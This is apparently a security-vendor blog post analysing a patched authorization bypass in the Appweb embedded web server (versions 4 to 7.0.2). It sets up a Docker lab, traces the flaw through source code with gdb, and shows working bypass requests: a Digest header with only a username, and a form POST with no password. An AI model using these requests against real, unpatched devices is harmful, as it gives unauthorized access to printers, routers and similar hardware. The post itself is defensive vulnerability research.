Can your Printer Hack your Secrets: Appweb Authorization Bypass

An engineering POV into everyday vulnerability.

The everyday things you rely on may leave you vulnerable to attack. And it may not be the things themselves, but what is hiding inside. Are your IoT devices, printers, and otherwise friendly, functional helpers vectors for data breaches?

We have to look into the tiny software component embedded in millions of machines to understand why their security is often inadequate. This is the story of Appweb: a web management interface for your commonplace household devices that can open the door into your homes to hackers.

Your devices talk to each other, which can lead to dangerous opportunities. Learn the cybersecurity implications of one such webapp authorization bypass.
Every day, we rely on the IoT for printers, music, and even our thermostat. Are we safe from hackers?

What is the security threat inside your trusted device?

Every device you interact with — and the devices that interact with each other, like your Nest thermostat — has an interface. That interface may not even be visible, unlike a cell phone’s surface. It may be the “personality” of your Alexa. Inside your IoT devices is a tiny web server that manages the interface. It takes up as little as 2MB of memory. This tiny server supports all modern protocols. Appweb operates in the server of functional devices like printers, routers, IP phones, and WIFI. This software runs in millions of everyday devices made by household and office giants like Kodak and Oracle (check out the bigger list!).

The extent of the Appweb Unauthorized Bypass vulnerability from on Shodan.

Appweb is one of those little servers that can cause big problems. Versions of the Appweb server (4 to 7.0.2) had a logic flaw — an “authorization bypass vulnerability” — that left devices vulnerable to hackers.

As ethical hackers, we decided to test whether the fixes were solid. We ran our own security tests to see if your devices really are as safe as they claim on the website.

Appweb claims “unmatched security.”on their website. They were able to fix the logic flaw. However, the problem allowed us a unique opportunity. First, the following engineering exercise shows the possible risks of unpatched software. As whitehat hackers, it also allows us to show discovery methods to defense engineers on how to look for 0-delay problems of a similar nature.We ran our own security tests, to see if your devices really are as safe as they claim.

Appweb: Selling you a bill of goods, and a dangerous IoT

The official spiel on Appweb’s site is that a main benefit of the server is its security. We didn’t want to accept the hype off the cuff. Our job is to hack the system better than hackers — test better than, well, testers. Wallarm Labs took a deeper look at least one issue that goes contrary to Appweb claim of unmatched security. Below, we are going to list the technical tests we ran (you can test along with us, if you like.) We didn’t like how easy it would be to exploit this vulnerability.

[Note: you should update or fix any device you have with Appweb on it, though they have fixed the discovered vulnerability.]

Security is advertised as “unmatched”, but vulnerabilities can still exist — hidden in unnoticed locations.

We have demonstrated below with code and examples the IOT authentication vulnerability that we mentioned is real.

Granted, the IoT authentication vulnerability that lets hackers in did get fixed in the newest version of the EmbedThis Appweb server. An update may help you out. Developers added correct checks for what httpGetCredential function returns and username and password NULL pointer checks inside the formParse. (Look at the commit which fixes the vulnerability.)

Still, not everything is sunshine and carefree rainbows. Many of the IoT devices using AppWeb never update the firmware or do it rarely. And that is where we found vulnerabilities running amok. Your printers, scanners and routers may still be vulnerable if not updated.

How we tested Appweb’s security: A follow-along security exercise for engineers.

Here is how we tested Appweb’s claim to having front-page level security.

First, we created a testing infrastructure (using a Docker container with Debian Linux onboard).

docker run — rm -p80:80 -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined — name=appweb — hostname=appweb debian /bin/bash

Then we installed some dependencies. (Because Appweb is written in C, we used GCC to make it easy to compile.) apt update && apt install — no-install-recommends -y ca-certificates wget nano make procps gcc libc6-dev

[If you’re testing along, to debug the application with us install gdb and pwndbg tools.]

apt install — no-install-recommends -y git gdb
cd ~
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

Next, download Appweb version 7.0.2 — the last vulnerable version.

mkdir -p /usr/src/appweb && cd /usr/src/appweb
wget — no-check-certificate -qO-https://github.com/embedthis/appweb/archive/v7.0.2.tar.gz | tar zx — strip-components=1

Now we need to compile a web server and install it.

make && make install
Run make with a debug flag to compile with debugging symbols.
DEBUG=debug make && make install

After successful installation, you need to change the configuration file — /etc/appweb/install.conf. You can define IP address or/and port where web server will bind in Listen directive.

/etc/appweb/install.conf:
set LOG_DIR “/var/log/appweb”
set CACHE_DIR “/var/spool/appweb/cache”
Documents “/var/www/appweb”
Listen 80
<if SSL_MODULE>
ListenSecure 443
</if>

Start Appweb with — verbose flag to display debug information on the console.

During analysis we’ll change configuration file from time to time so please don’t put your trusted editor like nano too far away. 😉

Vulnerability analysis

At this point, we are ready to look at the source code of Appweb. We need to open Embedthis HTTP library source directory, found inside src/httppath.

The vulnerability exists in the authCondition function. It has a logic flaw in the authentication check process.

/appweb-7.0.2/src/http/httpLib.c:
14558: /*
14559: This condition is used to implement all user authentication for routes
14560: */
14561: static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
14562: {
14563: HttpAuth *auth;
14564: cchar *username, *password;

First, it checks if authentication exists at the requested path. If it’s not needed, then the function exits and returns HTTP_ROUTE_OK constant which tells an application to continue processing the user request.

/appweb-7.0.2/src/http/httpLib.c:
14569: auth = route->auth;
14570: if (!auth || !auth->type) {
14571: /* Authentication not required */
14572: return HTTP_ROUTE_OK;
14573: }

At this moment we don’t have any protected path in our testing environment. Let’s fix that misconception. Edit server config to enable authentication and restart it. Create user takeme with a random password.

/etc/appweb/install.conf:
set LOG_DIR “/var/log/appweb”
set CACHE_DIR “/var/spool/appweb/cache”
Documents “/var/www/appweb”
Listen 80
<if SSL_MODULE>
ListenSecure 443
</if>
AddHandler fileHandler
AuthStore config
AuthType basic appweb.local
User takeme 314b6053a96b25b4a6538996af4377ec user

Ok, auth enabled we can move next by code flow. When a user sends a login password combination to the server httpIsAuthenticated is called. That function performs a session check that the current user has already successfully logged in before.

/appweb-7.0.2/src/http/httpLib.c:
14574: if (!httpIsAuthenticated(conn)) {
/appweb-7.0.2/src/http/httpLib.c:
1677: PUBLIC bool httpIsAuthenticated(HttpConn *conn)
1678: {
1679: return httpAuthenticate(conn);
1680: }
/appweb-7.0.2/src/http/httpLib.c:
1526: /*

1527: Authenticate a user using the session stored username. This will set HttpRx.authenticated if authentication succeeds.

1528: Note: this does not call httpLogin except for auto-login cases where a password is not used.

1529: */
1530: PUBLIC bool httpAuthenticate(HttpConn *conn)
1531: {
1532: HttpRx *rx;
1533: HttpAuth *auth;
1534: cchar *ip, *username;
1535:
1536: rx = conn->rx;
1537: auth = rx->route->auth;
1538:
1539: if (!rx->authenticateProbed) {
1540: rx->authenticateProbed = 1;
1541: ip = httpGetSessionVar(conn, HTTP_SESSION_IP, 0);
1542: username = httpGetSessionVar(conn, HTTP_SESSION_USERNAME, 0);
1543: if (!smatch(ip, conn->ip) || !username) {
1544: if (auth->username && *auth->username) {
1545: /* Auto-login */
1546: httpLogin(conn, auth->username, NULL);
1547: username = httpGetSessionVar(conn, HTTP_SESSION_USERNAME, 0);
1548: }
1549: if (!username) {
1550: return 0;
1551: }
552: }

If that check fails then httpGetCredentials function take a control.

/appweb-7.0.2/src/http/httpLib.c:
14574: if (!httpIsAuthenticated(conn)) {
14575: httpGetCredentials(conn, &username, &password);

Now let’s see how it really works with a debugger. Run Appweb through gdb and set a breakpoint to httpGetCredentials.

cd /etc/appweb/
gdb — args appweb — verbose
set breakpoint pending on
b httpGetCredentials
r

Load index page, enter any login/password combination and after sending it to the server breakpoint is triggered.

/appweb-7.0.2/src/http/httpLib.c:
1647: PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)
1648: {
1649: HttpAuth *auth;
1650:
1651: assert(username);
1652: assert(password);
1653: *username = *password = NULL;

In the config file we set up an authorization type to the basic. You can see that in debugger auth->type->name variable.

Basic authentication credentials parsed inside httpBasicParse function, see auth->type->parseAuth variable.

/appweb-7.0.2/src/http/httpLib.c:
1666: if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {
1667: return 0;
1668: }

That function does base64 decode and splits login/password sequence to two parts, and after that, we have variables with the same names.

/appweb-7.0.2/src/http/httpLib.c:
2111: PUBLIC int httpBasicParse(HttpConn *conn, cchar **username, cchar **password)
2112: {

2126: if ((decoded = mprDecode64(rx->authDetails)) == 0) {
2127: return MPR_ERR_BAD_FORMAT;
2128: }
2129: if ((cp = strchr(decoded, ‘:’)) != 0) {
2130: *cp++ = ‘’;
2131: }
2132: conn->encoded = 0;
2133: if (username) {
2134: *username = sclone(decoded);
2135: }
2136: if (password) {
2137: *password = sclone(cp);
2138: }
2139: return 0;

Next, control goes to httpLogin function where you can find all authorization logic. Set a breakpoint there. When all prechecks have completed then in verifyUser variables stored the name of the function which calls with our credentials as arguments. It is configVerifyUser because we set up that in the configuration file.

/appweb-7.0.2/src/http/httpLib.c:
2018: static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password)
2019: {
2020: HttpRx *rx;
2021: HttpAuth *auth;
2022: bool success;
2023: char *requiredPassword;
2024:
2025: rx = conn->rx;
2026: auth = rx->route->auth;
2027: if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) {
2028: httpTrace(conn, “auth.login.error”, “error”, “msg: ‘Unknown user’, username:’%s’”, username);
2029: return 0;
2030: }

First, we will try to guess a valid username (bruteforce). I will deliberately use a wrong password then mprLookupKey will return false and the server will return a auth.login.error.

With a valid login and a wrong password, you get the same type error, but a message will be “Password failed to authenticate”.

It appears that the basic authorization works well.

No vulnerabilities here, folks, move on. If only…

The basic type of authorization works fine, but what if we want to change the method from old basic access authentication to “modern” digest access authentication.

/etc/appweb/install.conf:
Documents “/var/www/appweb”
Listen 80
AddHandler fileHandler
AuthStore config
AuthType digest appweb.local
User takeme 314b6053a96b25b4a6538996af4377ec user

This verification can be done without sending the clear password which should be good for security. Right? Let’s see how it’s implemented here. First, send request with valid username takeme and without any authorization information.

GET / HTTP/1.1
Host: appweb.local
Connection: close
Authorization: Digest username=takeme

This time credentials are parsed by the httpDigestParse function.

There are parsing bunch of digest auth parameters like realm, nonce, opaque, etc. For that purposes, program allocates HttpDigest structure.

Next, string from Authorization header will split by “,” and “=” symbols.

/appweb-7.0.2/src/http/httpLib.c:
6690: dp = conn->authData = mprAllocObj(HttpDigest, manageDigestData);
6691: key = sclone(rx->authDetails);

6693: while (*key) {
6694: while (*key && isspace((uchar) *key)) {
6695: key++;
6696: }
6697: tok = key;
6698: while (*tok && !isspace((uchar) *tok) && *tok != ‘,’ && *tok != ‘=’) {
6699: tok++;
6700: }

6707: seenComma = 0;

We provide only the username option in the request.

The function returns an error about wrong digest format MPR_ERR_BAD_FORMAT because of that.

/appweb-7.0.2/src/mpr/mpr.h:
240: #define MPR_ERR_BAD_FORMAT -5 /**< Bad input format */

The httpGetCredentials function returns 0 because if condition has been met (-5 < 0).

But it’s not a big deal while results of the httpGetCredentials don’t check. The httpLogin is called anyway.

/appweb-7.0.2/src/http/httpLib.c:
14575: httpGetCredentials(conn, &username, &password);
14576: if (!httpLogin(conn, username, password)) {

Thus, valid username “takeme” and NULL password pass as arguments. It’s the first logical miss.

Moving on, the configVerifyUser function, our old friend, is used to validate the proof of supplied credentials.

But this time the condition is false, and part of the code that checks passwords will be ignored and the flow jumps to end of the function. There is “return 1” code construction helps us to successfully bypass authentication.

It’s the second logical issue after that return execution flow jumps to the line 1720 and a new user session is created.

/appweb-7.0.2/src/http/httpLib.c:
1717: if (!(verifyUser)(conn, username, password)) {
1718: return 0;
1719: }
1720: if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {
1721: if ((session = httpCreateSession(conn)) == 0) {
1722: /* Too many sessions */
1723: return 0;
1724: }
1725: httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);
1726: httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);
1727: }
1728: rx->authenticated = 1;
1729: rx->authenticateProbed = 1;
1730: conn->username = sclone(username);
1731: conn->encoded = 0;
1732: return 1;

With the valid session, we return to the authCondition.

/ppweb-7.0.2/src/http/httpLib.c:
14561: static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
14562: {

14574: if (!httpIsAuthenticated(conn)) {
14575: httpGetCredentials(conn, &username, &password);
14576: if (!httpLogin(conn, username, password)) {

14587: }
14588: if (!httpCanUser(conn, NULL)) {

14594: }
14595: /* OK to accept route. This does not mean the request was authenticated — an error may have been already generated */
14596: return HTTP_ROUTE_OK;
14597: }

Session returns in server response as cookie.

Next time you send requests using that session httpIsAuthenticated function will return -1 and skips the other checks.

/appweb-7.0.2/src/http/httpLib.c:
14561: static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
14562: {

14574: if (!httpIsAuthenticated(conn)) {

14587: }

14596: return HTTP_ROUTE_OK;
14597: }
/appweb-7.0.2/paks/http/dist/httpLib.c:
1677: PUBLIC bool httpIsAuthenticated(HttpConn *conn)
1678: {
1679: return httpAuthenticate(conn);
/appweb-7.0.2/src/http/httpLib.c:
1530: PUBLIC bool httpAuthenticate(HttpConn *conn)
1531: {
1532: HttpRx *rx;
1533: HttpAuth *auth;
1534: cchar *ip, *username;
1535:
1536: rx = conn->rx;
1537: auth = rx->route->auth;
1538:
1539: if (!rx->authenticateProbed) {

1558: return rx->authenticated;
1559: }

The same problem exists when you use form-based authorization.

/etc/appweb/install.conf:
Documents “/var/www/appweb”
Listen 80
AddHandler fileHandler
AuthStore config
AuthType form appweb.local
User takeme 314b6053a96b25b4a6538996af4377ec user
When you send POST without password parameter,
POST / HTTP/1.1
Host: appweb.local
Connection: close
username=takeme

Then request parser formParse logic works incorrectly and httpGetParamfunction set password to a NULL pointer. If we don’t have any attribute with name “password”, then return defaultValue as a variable. But defaultValuepassed as a third argument when code calls the httpGetParam, and it is 0.

/appweb-7.0.2/src/http/httpLib.c:
2073: PUBLIC int formParse(HttpConn *conn, cchar **username, cchar **password)
2074: {
2075: *username = httpGetParam(conn, “username”, 0);
2076: *password = httpGetParam(conn, “password”, 0);
2077: return 0;
2078: }
/appweb-7.0.2/src/http/httpLib.c:
22598: PUBLIC cchar *httpGetParam(HttpConn *conn, cchar *var, cchar *defaultValue)
22599: {
22600: cchar *value;
22601:
22602: value = mprReadJson(httpGetParams(conn), var);
22603: return (value) ? value : defaultValue;
22604: }

The result is the same as in the digest case — auth bypass.

If we return to basic auth type now, then we understand why this method cannot be used for a successful exploitation. Look at the httpBasicParsefunction.

/appweb-7.0.2/src/http/httpLib.c:
2111: PUBLIC int httpBasicParse(HttpConn *conn, cchar **username, cchar **password)
2112: {

2123: if (!rx->authDetails) {
2124: return 0;
2125: }
2126: if ((decoded = mprDecode64(rx->authDetails)) == 0) {
2127: return MPR_ERR_BAD_FORMAT;
2128: }

2133: if (username) {
2134: *username = sclone(decoded);
2135: }
2136: if (password) {
2137: *password = sclone(cp);2138: }

In any case, sclone is called for password and username.

/appweb-7.0.2/src/mpr/mprLib.c:
23890: PUBLIC char *sclone(cchar *str)
23891: {
23892: char *ptr;
23893: ssize size, len;
23894:
23895: if (str == 0) {
23896: str = “”;
23897: }
23898: len = slen(str);
23899: size = len + 1;
23900: if ((ptr = mprAlloc(size)) != 0) {
23901: memcpy(ptr, str, len);
23902: ptr[len] = ‘’;
23903: }
23904: return ptr;
23905: }

But the sclone returns a valid pointer always even if you didn’t pass password attribute.

Conclusion

If you’ve followed along with the testing, you realize that the older version of software allow bad actors to make changes to your IoT devices, install spyware or worse without any kind of authentication.

Our recommendation is to check what software your devices are running on. If there are products powered by EmbedThis software, schedule a service call and get the firmware flashed.

#securityengineer #devsecops #cybersecurity #vulnerabilitydetection #hackers #whitehat #applicationsecurity #IoT

Leave a Reply

Show Buttons
Hide Buttons